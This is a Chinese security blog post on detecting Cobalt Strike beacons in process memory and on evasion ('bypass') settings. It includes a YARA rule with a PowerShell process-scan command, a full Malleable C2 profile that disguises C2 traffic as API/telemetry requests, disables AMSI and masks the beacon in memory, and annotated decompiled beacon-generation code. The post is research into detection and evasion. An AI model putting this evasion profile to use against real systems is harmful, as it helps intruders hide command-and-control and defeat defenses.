关于这几天cs进程里的特征和网上的一些bypass

  1. 参考链接
  2. 过程

参考链接

https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/
https://mp.weixin.qq.com/s/mh8iYU6lQohsVrINM2uvCg
https://www.arashparsa.com/hook-heaps-and-live-free/

过程

首先cs上线进程注入个进程

使用ProcessHacker定位到SleepEx函数

转到内存保存可以看到明显的MZ头

利用给出的yara规则进行进程检测,可以很明显的发现是cs的进程
https://github.com/jas502n/cs_yara
遍历进程寻找cs的进程:powershell -command “Get-Process | ForEach-Object {./yara64.exe beaconEye.yar $_.ID -s}”

rule CobaltStrike {
  strings:  
    $cobaltStrikeRule64 = {  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00 (00|01|02|04|08|10) 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00  02 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00  02 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00  01 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 }
    $cobaltStrikeRule32 = {  00 00 00 00 00 00 00 00  01 00 00 00 (00|01|02|04|08|10) 00 00 00 01 00 00 00 ?? ?? 00 00  02 00 00 00 ?? ?? ?? ??  02 00 00 00 ?? ?? ?? ??  01 00 00 00 ?? ?? 00 00 }
  condition: any of them
}

cs的c2profile的sleep_mask是sleep xor加密的算法是否开启

sleep.profile

#This profile is meant to show all of the options available in Malleable C2




#Various options


# Append random-length string (up to data_jitter value) to http-get and http-post server output


set sample_name "Test Profile";
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_stager_prepend "";
set dns_stager_subhost ".stage.123456.";
set dns_ttl "1";
set host_stage "true"; #Host payload for staging over set, setS, or DNS. Required by stagers.
set jitter "0";
set maxdns "255";
set pipename "msagent_###"; #Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each # is replaced witha random hex value.
set pipename_stager "status_##";
set sleeptime "60000"; #def sleep in ms
set smb_frame_header "";
set ssh_banner "Cobalt Strike 4.2";


set tcp_frame_header "";
set tcp_port "4444";


# Defaults for ALL CS set server responses


http-config {
    set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
    header "Server" "Apache";
    header "Keep-Alive""timeout=5, max=100";
    header "Connection""Keep-Alive";


#   The set trust_x_forwarded_foroption decides if Cobalt Strike uses the
# X-Forwarded-For set header to determine the remote address of a request.
# Use this option if your Cobalt Strike server is behind an set redirector    
    set trust_x_forwarded_for "true";





}






https-certificate {
    set C "US"; #Country
    set CN "localhost"; # CN - you will probably nver use this, but don't leave at localost
    set L "San Francisco"; #Locality
    set OU "IT Services"; #Org unit
    set O "FooCorp"; #Org name
    set ST "CA"; #State
    set validity "365";


    # if using a valid vert, specify this, keystore = java keystore
    #set keystore "domain.store";
    #set password "mypassword";


}




#If you have code signing cert:
#code-signer {
#    set keystore "keystore.jks";
#    set password "password";
#    set alias    "server";
#    set timestamp "false";
#    set timestamp_url "set://timestamp.digicert.com";
#}






#Stager is only supported as a GET request and it will use AFAICT the IE on Windows.
http-stager {
    set uri_x86 "/api/v1/GetLicence";     
    set uri_x64 "/api/v2/GetLicence";
    client {
        parameter "uuid" "96c5f1e1-067b-492e-a38b-4f6290369121";
        #header "headername" "headervalue";
    }
    server {
        header "Content-Type" "application/octet-stream";    
        header "Content-Encoding" "gzip";    
        output {        
            #GZIP headers and footers
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
            #AFAICT print is the only supported terminator
            print;
        }
    }
}




#This is used only in http-get and http-post and not during stage
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";


# define indicators for an set GET
http-get {
    # we require a stub URI to attach the rest of our data to.
    set uri "/api/v1/Updates";


    client {


        header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
        # mask our metadata, base64 encode it, store it in the URI
        metadata {




            # XOR encode the value
            mask;

            # URL-safe Base64 Encode
            #base64url;


            # URL-safe Base64 Encode
            base64;


            # NetBIOS Encode ‘a’ ?
            #netbios;


            #NetBIOS Encode ‘A’
            #netbiosu;


            # You probably want these to be last two, else you will encode these values


            # Append a string to metadata
            append ";" ;


            # Prepend a string
            prepend "SESSION=";
            # Terminator statements - these say where the metadata goes
            # Pick one


            # Append to URI
            #uri-append;





            #Set in a header
            header "Cookie";


            #Send data as transaction body
            #print


            #Store data in a URI parameter
            #parameter "someparam"


        }
    }


    server {
        header "Content-Type" "application/octet-stream";
        header "Content-Encoding" "gzip";
        # prepend some text in case the GET is empty.
        output {
            mask;
            base64;
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";            
            print;
        }
    }
}


# define indicators for an set POST
http-post {
    set uri "/api/v1/Telemetry/Id/";
    set verb "POST";


    client {
        # make it look like we're posting something cool.
        header "Content-Type" "application/json";
        header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";


        # ugh, our data has to go somewhere!
        output {


            mask;
            base64url;
            uri-append;
        }


        # randomize and post our session ID
        id {
            mask;
            base64url;
            prepend "{version: 1, d=\x22";            
            append "\x22}\n";
            print;
        }
    }


    # The server's response to our set POST
    server {
        header "Content-Type" "application/octet-stream";
        header "Content-Encoding" "gzip";


        # post usually sends nothing, so let's prepend a string, mask it, and
        # base64 encode it. We'll get something different back each time.
        output {
            mask;
            base64;
            prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
            append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";            
            print;
        }



    }
}




stage {



#    The transform-x86 and transform-x64 blocks pad and transform Beacon’s
# Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
    transform-x86 {
        prepend "\x90\x90";
        strrep "ReflectiveLoader" "DoLegitStuff";
    }

    transform-x64 {
        # transform the x64 rDLL stage, same options as with
    }
    stringw "I am not Beacon";


    set cleanup "true";        # Ask Beacon to attempt to free memory associated with
                                # the Reflective DLL package that initialized it.

    # Override the first bytes (MZ header included) of Beacon's Reflective DLL.
    # Valid x86 instructions are required. Follow instructions that change
    # CPU state with instructions that undo the change.

#    set magic_mz_x86 "MZRE";
#    set magic_mz_x86 "MZAR";




    # Ask the x86 ReflectiveLoader to load the specified library and overwrite
    #  its space instead of allocating memory with VirtualAlloc.
    # Only works with VirtualAlloc
    #set module_x86 "xpsservices.dll";
    #set module_x64 "xpsservices.dll";


    # Obfuscate the Reflective DLL’s import table, overwrite unused header content,
    # and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
    set obfuscate "false";


    # Obfuscate Beacon, in-memory, prior to sleeping
    set sleep_mask "true";


    # Use embedded function pointer hints to bootstrap Beacon agent without
    # walking kernel32 EAT
    set smartinject "true";


    # Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after
    # it loads Beacon payload
    set stomppe "true";




    # Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memory
    set userwx "false";


#    set image_size_x86 "512000";
#    set image_size_x64 "512000";
    set entry_point "92145";


    #The Exported name of the Beacon DLL
    #set name "beacon.x64.dll"

    #set rich_header  # I don't understand this yet TODO: fixme


    #TODO: add examples process-inject
}
process-inject {
        # set how memory is allocated in a remote process
        # VirtualAllocEx or NtMapViewOfSection. The
        # NtMapViewOfSection option is for same-architecture injection only.
        # VirtualAllocEx is always used for cross-arch memory allocations.


        set allocator "VirtualAllocEx";
        # shape the memory characteristics and content
        set min_alloc "16384";
        set startrwx "true";
        set userwx "false";
        transform-x86 {
        prepend "\x90\x90";
        }
        transform-x64 {
        # transform x64 injected content
        }
        # determine how to execute the injected code
        execute {
            CreateThread "ntdll.dll!RtlUserThreadStart";
            SetThreadContext;
            RtlCreateUserThread;
        }
}
post-ex {
    # control the temporary process we spawn to
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";




    #The thread_hint option allows multi-threaded post-ex DLLs to spawn
    # threads with a spoofed start address. Specify the thread hint as
    # “module!function+0x##” to specify the start address to spoof.
    # The optional 0x## part is an offset added to the start address.
    # set thread_hint "....TODO:FIXME"
}

根据wx公众号的文章结尾所描述

经过测试确实如此

processhacker Memory所定位看到的内存是xor过的,MZ头也没了

还是能检测出来

看到的文章中还有一篇是Hook SleepEx函数,然后进行修改 (由于个人过于垃圾无法复现该文章)
https://www.arashparsa.com/hook-heaps-and-live-free/

最后就是跟着公众号文章分析了一下cs beacon生成的过程 (详细分析请看wx公众号的文章

BeaconConfig的生成在 BeaconPayload类的 exportBeaconStage函数中

exportBeaconStage

    protected byte[] exportBeaconStage(int paramInt, String paramString1, boolean paramBoolean1, boolean paramBoolean2, String paramString2)
  {
    try
    {
      long l1 = System.currentTimeMillis(); //返回当前世界时间(毫秒)
      byte[] arrayOfByte1 = SleevedResource.readResource(paramString2); //读取对应的dll并解密数据
      if (paramString1.length() > 254) { //如果长度大于254则只读取0~254
        paramString1 = paramString1.substring(0, 254);
      }
      String[] arrayOfString1 = this.c2profile.getString(".http-get.uri").split(" "); //get请求的路径读取
      String[] arrayOfString2 = paramString1.split(",\\s*"); //字符串分割
      LinkedList localLinkedList = new LinkedList();
      for (int i = 0; i < arrayOfString2.length; i++) //遍历数据添加到localLinkedList
      {
        localLinkedList.add(arrayOfString2[i]);
        localLinkedList.add(CommonUtils.pick(arrayOfString1));
      }
      while ((localLinkedList.size() > 2) && (CommonUtils.join(localLinkedList, ",").length() > 255))
      {
        str1 = localLinkedList.removeLast() + "";
        String str2 = localLinkedList.removeLast() + "";
        CommonUtils.print_info("dropping " + str2 + str1 + " from Beacon profile for size");
      }
      String str1 = randua(this.c2profile);
      int j = Integer.parseInt(this.c2profile.getString(".sleeptime")); //c2profile延时时间读取
      String str3 = CommonUtils.pick(this.c2profile.getString(".http-post.uri").split(" ")); //post请求的路径
      byte[] arrayOfByte2 = this.c2profile.recover_binary(".http-get.server.output");//server头返回
      byte[] arrayOfByte3 = this.c2profile.apply_binary(".http-get.client");//client请求
      byte[] arrayOfByte4 = this.c2profile.apply_binary(".http-post.client");//post client请求
      int k = this.c2profile.size(".http-get.server.output", 1048576); //get请求返回
      int m = Integer.parseInt(this.c2profile.getString(".jitter"));
      if ((m < 0) || (m > 99)) {
        m = 0;
      }
      int n = Integer.parseInt(this.c2profile.getString(".maxdns"));
      if ((n < 0) || (n > 255)) {
        n = 255;
      }
      int i1 = 0;
      if (paramBoolean1) {
        i1 |= 0x1;
      }
      if (paramBoolean2) {
        i1 |= 0x8;
      }
      long l2 = CommonUtils.ipToLong(this.c2profile.getString(".dns_idle"));
      int i2 = Integer.parseInt(this.c2profile.getString(".dns_sleep")); //dns延迟读取
      Settings localSettings = new Settings(); //beacon配置
      localSettings.addShort(1, i1);
      localSettings.addShort(2, paramInt);
      localSettings.addInt(3, j);
      localSettings.addInt(4, k);
      localSettings.addShort(5, m);
      localSettings.addShort(6, n);
      localSettings.addData(7, this.publickey, 256);
      localSettings.addString(8, CommonUtils.join(localLinkedList, ","), 256);
      localSettings.addString(9, str1, 128);
      localSettings.addString(10, str3, 64);
      localSettings.addData(11, arrayOfByte2, 256);
      localSettings.addData(12, arrayOfByte3, 256);
      localSettings.addData(13, arrayOfByte4, 256);
      localSettings.addData(14, CommonUtils.asBinary(this.c2profile.getString(".spawnto")), 16);
      localSettings.addString(29, this.c2profile.getString(".post-ex.spawnto_x86"), 64);
      localSettings.addString(30, this.c2profile.getString(".post-ex.spawnto_x64"), 64);
      localSettings.addString(15, "", 128);
      localSettings.addShort(31, QuickSecurity.getCryptoScheme());
      localSettings.addInt(19, (int)l2);
      localSettings.addInt(20, i2);
      localSettings.addString(26, this.c2profile.getString(".http-get.verb"), 16);
      localSettings.addString(27, this.c2profile.getString(".http-post.verb"), 16);
      localSettings.addInt(28, this.c2profile.shouldChunkPosts() ? 96 : 0);
      localSettings.addInt(37, this.c2profile.getInt(".watermark"));
      localSettings.addShort(38, this.c2profile.option(".stage.cleanup") ? 1 : 0);
      localSettings.addShort(39, this.c2profile.exerciseCFGCaution() ? 1 : 0);
      String str4 = this.listener.getHostHeader();
      if ((str4 == null) || (str4.length() == 0)) {
        localSettings.addString(54, "", 128);
      } else if (Profile.usesHostBeacon(this.c2profile)) {
        localSettings.addString(54, "", 128);
      } else {
        localSettings.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128);
      }
      if (Profile.usesCookieBeacon(this.c2profile)) {
        localSettings.addShort(50, 1);
      } else {
        localSettings.addShort(50, 0);
      }
      ProxyServer localProxyServer = ProxyServer.parse(this.listener.getProxyString()); //代理
      localProxyServer.setup(localSettings);
      setupPivotFrames(this.c2profile, localSettings);
      setupKillDate(localSettings);
      setupGargle(localSettings, paramString2);
      new ProcessInject(this.c2profile).apply(localSettings);
      byte[] arrayOfByte5 = localSettings.toPatch();
      arrayOfByte5 = beacon_obfuscate(arrayOfByte5); //xor
      String str5 = CommonUtils.bString(arrayOfByte1);
      int i3 = str5.indexOf("AAAABBBBCCCCDDDDEEEEFFFF");
      str5 = CommonUtils.replaceAt(str5, CommonUtils.bString(arrayOfByte5), i3);
      return CommonUtils.toBytes(str5);
    }
    catch (IOException localIOException)
    {
      MudgeSanity.logException("export Beacon stage: " + paramString2, localIOException, false);
    }
    return new byte[0];
  }

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:关于这几天cs进程里的特征和网上的一些bypass

本文作者:九世

发布时间:2021-09-11, 17:53:15

最后更新:2021-09-11, 18:08:32

原始链接:http://422926799.github.io/posts/40a5ffce.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录